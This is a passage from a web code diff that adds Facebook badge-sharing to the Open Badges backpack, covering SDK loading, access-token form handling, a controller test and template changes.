+ modal.$el.find('.confirm-facebook-share').fadeIn('fast');
+ // do some magic to append the user's auth token to the form
+ $('form.facebook-share').prepend('<input type="hidden" name="accessToken" value="'+accessToken+'">');
+ } else {
+ // prompt a user to login
+ FB.login(function(response) {
+ if (response.status === 'not_connected') {
+ request.flash('error', 'Your login failed, and unsuccessfully connected your Open Badges account to Facebook.');
+ }
+ if (response.status === 'connected') {
+ modal.$el.find('.confirm-facebook-share').fadeIn('fast');
+ // do some magic to append the user's auth token to the form
+ $('form.facebook-share').prepend('<input type="hidden" name="accessToken" value="'+response.authResponse.accessToken+'">');
+ }
+ }, {scope: 'publish_actions'});
+ }
+ }, true);
},
hideFacebookModal: function () {
View
17 static/js/social-media.js
@@ -55,3 +55,20 @@ var SocialMedia = function() {};
}
};
}());
+
+window.fbAsyncInit = function() {
+ FB.init({
+ appId : facebookAppId,
+ status : true,
+ cookie : true,
+ xfbml : true
+ });
+};
+
+// Load the SDK Asynchronously
+(function(d){
+ var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
+ js = d.createElement('script'); js.id = id; js.async = true;
+ js.src = "//connect.facebook.net/en_US/all.js";
+ d.getElementsByTagName('head')[0].appendChild(js);
+}(document));
View
1  static/less/backpack.less
@@ -27,7 +27,6 @@
}
}
-
html {
height: 100%;
}
View
20 test/backpack-controller.test.js
@@ -149,5 +149,23 @@ $.prepareDatabase({
$.finish(test);
});
-});
+ test('backpack#facebookSharing', function (t) {
+ conmock({
+ handler: backpack.facebookSharing,
+ request: {
+ body: {
+ accessToken: 'aaBBccDDeFgHiJkLMnOP',
+ badgeBodyHash: 'sillybadgehash',
+ userId: 'me',
+ comment: 'Commenting on my badge so others know how awesome I am!',
+ facebookAutomaticPush: 'checked'
+ }
+ }
+ }, function (err, mock, req) {
+ if (err) throw err;
+ t.equal(mock.status, 303);
+ t.end();
+ });
+ });
+});
View
3  views/badge-data.html
@@ -10,7 +10,6 @@
<img src="{{ badge.attributes.imageUrl }}">
{% if disownable %}
<button class='btn btn-danger disown'>Remove this Badge</button>
-
<!-- TODO: Re-enable this when sharing actually works well.
We may drop the "Share" button altogether, but it's
a nice guide for now.
@@ -18,9 +17,9 @@
<input type="hidden" name="_csrf" value="{{ csrfToken }}">
<input class="btn" type="submit" value="Share">
</form>
- <p class="facebook-share">Facebook</p>
<p class="twitter-share">Twitter</p>
-->
+ <a href="#" class="facebook-share"><img src="/images/facebook-share.png"></a>
{% endif %}
</td>
View
12 views/badge-facebook-share.html
@@ -13,11 +13,11 @@
<td>
<form action="/backpack/facebook" method="POST" class="facebook-share">
<input type="hidden" name="_csrf" value="{{ csrfToken }}"></input>
- <input type="hidden" name="badge_body_hash" value="{{badge.attributes.body_hash}}"></input>
- <strong>{{badge.attributes.body.badge.issuer.name}}</strong>
- <p>{{badge.attributes.body.badge.description|escape}}</p>
- <textarea name='facebookcomment' tabindex=1 class='comment' placeholder='Add your personal comment'></textarea>
- <span class="auto_push"><input type="checkbox" name="facebook_automatic_push" value="facebook_automatic_push">Automatically publish badges to Facebook when they are added to my backpack.</span></td>
+ <input type="hidden" name="badgeBodyHash" value="{{badge.attributes.body_hash}}"></input>
+ <strong>{{badge.attributes.body.badge.issuer.name|e}}</strong><br />
+ {{badge.attributes.body.badge.description|e}}
+ <textarea name='facebookComment' tabindex=1 class='comment' placeholder='Add your personal comment'></textarea>
+ <span class="auto_push"><input type="checkbox" name="facebookAutomaticPush" value="facebookAutomaticPush">Automatically publish badges to Facebook when they are added to my backpack.</span></td>
</td>
</tr>
<tr>
@@ -30,4 +30,4 @@
</td>
</tr>
</tbody>
-</table>
+</table>
View
2  views/layout.html
@@ -11,6 +11,7 @@
<script type="text/javascript" src="/js/modernizr.js"></script>
<script type="text/javascript" src="https://login.persona.org/include.js"></script>
<script type="text/javascript" src="/js/jquery.min.js"></script>
+ <script>window.facebookAppId = {{ facebookAppId }}</script>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-35433268-10']);
@@ -99,6 +100,7 @@
<script src="//www.mozilla.org/tabzilla/media/js/tabzilla.js"></script>
<script type="text/javascript" src="/vendor/bootstrap/js/bootstrap-dropdown.js"></script>
+ <script type="text/javascript" src="/js/social-media.js"></script>
{% block scripts %}{% endblock %}
</body>
Something went wrong with that request. Please try again.